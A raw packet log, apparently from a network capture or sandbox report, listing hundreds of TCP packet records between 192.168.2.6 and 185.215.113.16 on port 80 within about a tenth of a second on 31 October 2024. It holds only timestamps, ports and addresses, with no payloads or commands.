Oct 31, 2024 01:19:16.135257959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.135268927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.135288000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.135289907 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.135301113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.135328054 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.135343075 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.205984116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206043959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206057072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206062078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206074953 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206101894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206109047 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206115961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206126928 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206135035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206157923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206166029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206171036 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206182957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206191063 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206196070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206207991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206219912 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206233025 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206244946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206248999 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206257105 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206269026 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206274033 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206281900 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206294060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206301928 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206319094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206329107 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206332922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206345081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206357002 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206361055 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206382036 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206384897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206409931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206413031 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206423998 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206434011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206434965 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206455946 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206459045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206473112 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206480980 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206485033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206507921 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206509113 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206520081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206532001 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206535101 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206543922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206562996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206562996 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206587076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206590891 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206607103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206609011 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206631899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206648111 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206650972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206660986 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206676006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206685066 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206688881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206700087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206702948 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206713915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206723928 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206732988 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206737041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206756115 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206765890 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206774950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206804991 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206815958 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206835985 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206840992 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206860065 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206860065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206876993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206880093 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206898928 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206899881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206912994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206912994 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206923962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206940889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206948042 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206954956 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206962109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206974030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206978083 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206984997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.206990957 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.206998110 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207007885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207010031 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207020044 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207032919 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207040071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207043886 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207061052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207062960 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207082033 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207092047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207099915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207108974 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207123041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207129955 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207134008 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207144022 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207145929 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207159996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207165003 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207173109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207184076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207189083 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207217932 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207262993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207276106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207285881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207298994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207302094 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207310915 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207329988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207330942 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207344055 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207355022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207359076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207366943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207376957 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207381010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207393885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207405090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207405090 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207418919 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207422972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207431078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207448959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207477093 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207485914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207509041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207520962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207525969 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207555056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207639933 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207650900 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207664967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207680941 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207680941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207700014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207705975 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207710981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207731009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207741976 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207748890 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207760096 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207771063 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207783937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207787991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207793951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207798958 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207811117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207814932 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207834959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207834959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207854033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207860947 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207865953 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207878113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207889080 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207890034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207906008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207921028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.207932949 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.207958937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208038092 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208065033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208077908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208082914 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208089113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208103895 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208118916 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208122015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208142996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208143950 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208153009 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208162069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208173037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208179951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208195925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208206892 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208215952 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208216906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208235025 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208241940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208256006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208265066 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208277941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208281994 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208291054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208302021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208304882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208313942 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208323956 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208326101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208338022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208343029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208355904 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208369017 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208369970 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208388090 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208396912 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208409071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208414078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208427906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208440065 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208445072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208450079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208462954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208465099 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208472967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208487034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208492041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208523035 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208549976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208566904 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208580017 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208589077 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208605051 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208616972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208617926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208631039 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208642960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208645105 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208652973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208673000 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208678961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208690882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208709955 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208709955 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208728075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208733082 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208748102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208751917 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208771944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208785057 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208796024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208801985 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208801985 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208810091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208817959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208817959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208822966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208837032 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.208843946 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208869934 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.208967924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209007978 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209022999 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209034920 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209062099 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209079981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209162951 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209175110 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209184885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209196091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209202051 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209214926 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209218979 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209229946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209244967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209248066 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209260941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209273100 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209274054 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209284067 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209294081 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209296942 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209312916 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209338903 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209342957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209361076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209372997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209381104 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209383011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209397078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209408045 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209420919 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209433079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209435940 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209445000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209460020 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209460974 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209480047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209487915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209491968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209505081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209517956 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209517956 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209528923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209536076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209553957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209559917 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209567070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209584951 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209584951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209597111 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209609032 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209610939 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209619999 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209631920 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209639072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209641933 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209654093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209659100 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209682941 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209707022 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209841967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209853888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209877014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209882021 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209889889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209901094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209913969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209918976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209937096 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209956884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.209961891 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209973097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209983110 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.209996939 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.210024118 CET	49995	80	192.168.2.6	185.215.113.16
